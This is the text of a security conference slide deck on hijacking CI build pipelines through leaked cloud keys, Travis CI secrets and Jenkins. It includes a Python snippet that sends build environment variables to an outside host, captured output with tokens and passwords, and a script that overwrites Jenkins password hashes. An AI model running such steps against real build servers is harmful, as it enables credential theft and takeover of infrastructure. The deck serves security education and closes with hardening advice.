Is This Your Pipe?

Hijacking the Build Pipeline
Last login: Aug 7 2011 from DEFCON 19

Matching login: rgbkrk
Last login: Aug 7 2011 from DEFCON 19

dc101$ whoami
@rgbkrk
dc101$ su greg

dc101$ whoami
@_GRRegg
dc101$
Last login: Aug 7 2011 from DEFCON 19

```
dc101$ whoami
@rgbkrk

dc101$ su greg

dc101$ whoami
@_GRRegg

dc101$ hostname
@Rackspace

dc101$ ```
Build Pipeline Components

- Source Control
- Continuous Integration
- Upstream Sources
OSS, Builds and Testing
Real Sites

Need Secrets
What secrets?
Managing
Secrets
Not Managing Secrets
Credentials get leaked
<table>
<thead>
<tr>
<th>AWS_ACCESS_KEY_ID:</th>
<th>&quot;AKIAI5JFBMSZGM7X3J4A&quot;</th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS_SECRET_ACCESS_KEY:</td>
<td>&quot;G8AKpzq+1X+deM0trckF3hJyce/20</td>
</tr>
<tr>
<td>AWS_BUCKET:</td>
<td>&quot;devbucket&quot;</td>
</tr>
</tbody>
</table>
git add .
“I did not completely scrub my code before posting to GitHub. I did not have billing alerts enabled ... This was a real mistake ... I paid the price for complacency.”

–Rich Mogull
ec2-user@box:~$ ls

cpuminer
CudaMiner
tor-0.2.4.20.tar.gz
cuda_5.5.22_linux_64.run
tor-0.2.4.20
ec2-user@box:~$ ls

cpuminer
CudaMiner
tor-0.2.4.20.tar.gz
cuda_5.5.22_linux_64.run
tor-0.2.4.20
bit.ly/mogull
Ref: bit.ly/awsinapk
Fun with Cloud Credentials
Infrastructure + -
“Redistribute”
DNS and Load Balancers
Remount
Volumes
Future SSH Keys
<table>
<thead>
<tr>
<th>Category</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Repositories</td>
<td>54</td>
</tr>
<tr>
<td>Code</td>
<td>3,337</td>
</tr>
<tr>
<td>Issues</td>
<td>93</td>
</tr>
<tr>
<td>Users</td>
<td></td>
</tr>
</tbody>
</table>

**OS_PASSWORD**
rackspace_api_key

Repositories: 5

Code: 3,721

Issues: 57

Users
BREAK IT UP
rackspace apikey language:python
rackspace apikey language:python

Code
420

Code
8,303
KEEP

SPLITTING
Can’t we just let people know when they “SecOops”?
gitsec/nanny

Search repositories for security oops

Email the original committer & owner of the project

Let them know how to revoke keys, panic
Responses

“Wow, thank you. How did you find these?”

“This is only a testing project”

“I don’t even own this repository”

“Doesn’t matter, I’m not using that account”
265+ Keys
Why automated security checkers suck: gist.github.com/pydanny/958658...
Hello,

We are conducting research on the unintended exposure of secrets in GitHub repositories. In a recent scan we conducted of GitHub repositories, our tool detected that one of your repositories appears to expose a secret, and we've confirmed this possibility by manual inspection. The details are below:

```bash
# Branch: master
## File: ****/****/settings/dev.py
## Line: 20
## Source: TWITTER_CONSUMER_KEY = 'DEFINE-ME-HERE--DO-NOT-CHECK-IN-PUBLICLY'

# Branch: master
## File: ****/****/settings/dev.py
## Line: 21
## Source: TWITTER_CONSUMER_SECRET = 'DEFINE-ME-HERE--DO-NOT-CHECK-IN-PUBLICLY'

Affected File: https://github.com/****/****/blob/master/****/settings/dev.py
```

If this information is indeed intended to be secret, we would recommend that you remove this file from the repository (using .gitignore) and generate new passwords for the vulnerable accounts. We would much appreciate a response, letting us know if we are mistaken in concluding that this is a secret, or if you made changes as a result of this report.
... we’ve confirmed this possibility by manual inspection

TWITTER_CONSUMER_SECRET = 'DEFINE-ME-HERE--DO-NOT-CHECK-IN-PUBLICLY'
What if you need secrets for testing?
Travis CI

- Open Source, free for public repos
- `git push -> web hook -> tasks`
- Less control than Jenkins
language: python

python:
  - 2.7

before_install:
  - pip install invoke==0.4.0 pytest==2.3.5

install:
  - pip install .

script: invoke test
language: python
python: 2.7
install: pip install .
script: invoke test
env: 
  global: 
    secure: hsgKUzwffhhTcmnnr1vYfvXiU...
Can we leak decrypted secrets?
Update .travis.yml #1

rgbkrk wants to merge 1 commit into rgbkrk:master from gitsec:legit

Conversation 0  ~ Commits 1  Files changed 1

Showing 1 changed file with 1 addition and 1 deletion.

.travis.yml

@@ -3,7 +3,7 @@ python:
- 2.7
  install:
  - echo "Life is good"
-echo 'Ran script'
+script: echo "$SECRET_MESSAGE"

env:
- global:
  secure: hsgKuzwffhhTcmnr1vYfXiUrufflJ0+z4nrN+Ywvuh5KmoiY4jZse3Vf0DxuPyxDz0EYxSw4gyn3c062RRCvxKc5KveiGieJ5gjwDVwvf1Lkp16"
Using worker: worker-linux-4-1.bb.travis-ci.org:travis-linux-17

$ git clone --depth=50 git://github.com/rgbkrk/secrets-in-public.git
$ cd rgbkrk/secrets-in-public
$ git fetch origin +refs/pull/1/merge:
$ git checkout -qf FETCH_HEAD
$ source ~/virtualenv/python2.7/bin/activate

$ python --version
Python 2.7.6
$ pip --version
pip 1.5.4 from /home/travis/virtualenv/python2.7.6/lib/python2.7/site-packages (python 2.7)

$ echo "Life is good"
$ echo "$SECRET_MESSAGE"

The command "echo "$SECRET_MESSAGE"" exited with 0.
No?!?!?
“Keys used for encryption and decryption are tied to the repository. If you fork a project and add it to travis, it will have a different pair of keys than the original.”

– Travis CI
Props.
**master** - Merge pull request #1 from gitsec/legit

Update .travis.yml

Kyle Kelley authored and committed

---


```shell
$ export SECRET_MESSAGE=[secure]
```

```shell
$ source ~/virtualenv/python2.7/bin/activate
```

```shell
$ python --version
Python 2.7.6
```

```shell
$ pip --version
```

```shell
pip 1.5.4 from /home/travis/virtualenv/python2.7.6/lib/python2.7/site-packages (python 2.7)
```

```shell
$ echo "Life is good"
```

```shell
$ echo "$SECRET_MESSAGE"
```

Drink

```shell
The command "echo "$SECRET_MESSAGE"" exited with 0.
```
Code Review!
Who is Jenkins?
How can I compromise him?
Why Target Jenkins?
The road to production
Hipster developer makes an oops

```json
{
  "github_token": "1c90facabf7298324c624e5b83fe581e9033"
}
```

```json
{
  "accounts":
  {
    "GitHub":
    {
      "base_uri": "https://api.github.com",
      "github_token": "ef6c8d4d0e4d04cf4f674a85a0980411a9f"
    }
  }
}
```
Jenkins  >  scrapy  >  configuration

Execute shell

Command

```bash
export GITHUB_TOKEN=7f550a9f4c44173a37664d938f1355f0f92a47a7
export POSTGRES_USER=postgres
export POSTGRES_PASSWORD=HotSpankinWebApp
python $WORKSPACE/setup.py
```
envs = os.environ
message = str(envs)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(message)
data = s.recv(BUFFER_SIZE)
s.close()
Connection address: ('104.130.129.241', 36621)
received data: {
  'BUILD_DISPLAY_NAME': '#55',
  'BUILD_ID': '2014-08-07_20-50-38',
  'BUILD_NUMBER': '55',
  'BUILD_TAG': 'jenkins-scrapy-55',
  'BUILD_URL': 'http://104.130.129.241/job/scrapy/55/',
  'EXECUTOR_NUMBER': '1',
  'GID': '1000',
  'GITHUB_TOKEN': '7f550a9f4c44173a37664d938f1355f0f92a47a7',
  'GIT_BRANCH': 'origin/master',
  'GIT_COMMIT': '72e1a387ca969db942ea3b06b2e574d90db5c1df',
  'GIT_PREVIOUS_COMMIT': '72e1a387ca969db942ea3b06b2e574d90db5c1df',
  'GIT_URL': 'https://github.com/devGregA/scrapy',
  'HOME': '/var/lib/jenkins',
  'HUDSON_COOKIE': '46258990-8956-40b9-a826-b71b1bcda0bf',
  'HUDSON_HOME': '/var/lib/jenkins',
  'JENKINS_SERVER_COOKIE': '6d082cd38de4b35a',
  'JENKINS_URL': 'http://104.130.129.241/',
  'JOB_NAME': 'scrapy',
  'JOB_URL': 'http://104.130.129.241/job/scrapy/',
  'POSTGRES_USER': 'postgres'
  'POSTGRES_PASSWORD': 'HotSpankinWebApp'}
Digging In the Code

- `/var/lib/jenkins`
  - `users`
    - `<USER>`
      - `config.xml`
<?xml version='1.0' encoding='UTF-8'?>
<user>
  <fullName>admin</fullName>
  <properties>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.ApiTokenProperty>
      <apiToken>S7o/e8J5XMPnBufr0s46br8X9qs2Xvixg7fyZcSyk2TEfr6P2Rm/JKw9xVRb9sYz</apiToken>
    </jenkins.security.ApiTokenProperty>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
      <hudson.security.HudsonPrivateSecurityRealm_-Details>
        <passwordHash>$jbcrypt$2a$10$Pw/2FPkJVEWZCYRmtzjNweyAA.5orVqBXpx3oP000/xKmz02jQ/vi</passwordHash>
      </hudson.security.HudsonPrivateSecurityRealm_-Details>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <jenkins.security.LastGrantedAuthoritiesProperty>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>
JBCrypt you say?

```xml
<?xml version='1.0' encoding='UTF-8'?>
<user>
    <fullName>admin</fullName>
    <properties>
        ...
        <jenkins.security.ApiTokenProperty>
            <apiToken>S7o/e8JSXMPnBufr0s46br8X9qs2Xvixg7fyZcSyk2TEfr6P2Rm/JKw9xVRb9sYz</apiToken>
        </jenkins.security.ApiTokenProperty>
        <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
            <hudson.security.HudsonPrivateSecurityRealm_-Details>
                <passwordHash>#jbcrypt:$2a$10$Pw/2FPkJVEWZCYRmtzjNweyAA.5orVqBXpx3oP000/xKmz02jQ/vi</passwordHash>
            </hudson.security.HudsonPrivateSecurityRealm_-Details>
        </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    </properties>
    <jenkins.security.LastGrantedAuthoritiesProperty>
    </jenkins.security.LastGrantedAuthoritiesProperty>
</user>
```
/**
 * {@link PasswordEncoder} that uses jBCrypt.
 */

public String encodePassword(...) throws DataAccessException{
    return BCrypt.hashpw(rawPass,BCrypt.gensalt());
}

public boolean isPasswordValid(...) throws DataAccessException{
    return BCrypt.checkpw(rawPass,encPass);
}
public class Mal {
    public static void main(String[] args) {

        String hashed = BCrypt.hashpw("pwdplz", BCrypt.gensalt());
        System.out.println(hashed);
    }
}
What if this was in our build?

```python
results = os.listdir('/var/lib/jenkins/users/')
for res in results:
    for line in fileinput.FileInput("/var/lib/jenkins/users/%s/config.xml" % res,inplace=1):
        line = re.sub(r'#jbcrypt:[^<]+', '#jbcrypt:waga', line)
        print line,
message = 'using jenkins: %s ' % str(results)
print os.system('pkill -HUP java')
```
Let’s find out!
There is a catch...

<table>
<thead>
<tr>
<th>#</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>master</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>1</th>
<th>Idle</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>2</th>
<th>Idle</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>1</th>
<th>Idle</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- node01.example.com
- node02.example.com
Good news!
<table>
<thead>
<tr>
<th>Delivery Pipeline configuration</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Stage Name</strong></td>
</tr>
<tr>
<td><strong>Task Name</strong></td>
</tr>
<tr>
<td><strong>Options</strong></td>
</tr>
<tr>
<td>Disable Build (No new builds will be executed until the project is re-enabled.)</td>
</tr>
<tr>
<td>Execute concurrent builds if necessary</td>
</tr>
<tr>
<td>Restrict where this project can be run</td>
</tr>
</tbody>
</table>
If you’re really committed...

Keep. Committing.
What if there aren’t any oops?
Automatic PR Building
Hitting the Gate

jenkins commented on Jan 8

Can one of the admins verify this patch?

devGregA commented on Jan 8

Fuck you very much Jenkins.
Pressing Forward

Be Sneaky

Thwart the Gate
Being Sneaky

Obfuscation

This is the main villain of the campaign, and his greatest asset is that no-one would have ever considered it.
static OSStatus SSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams, uint8_t *signature, UInt16 signatureLen)
{
    OSStatus err;
    ...

    if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
        goto fail;
    if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
        goto fail;
    goto fail;
    if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
        goto fail;
    ...

    fail:
        SSLFreeBuffer(&signedHashes);
        SSLFreeBuffer(&hashCtx);
        return err;
}
Thwarting the Gate

(Maybe.)
/github-webhook/
The worst case scenario

OP WILL DELIVER

LET'S JUST WAIT
The Quickest Overview On Securing Jenkins EVER
Disable Anon Access
Take Code Review Seriously
Gate Your Deploys
Use a Random Port for Slave Comms
Disable Executors On Master
Change your web-hook from the default URL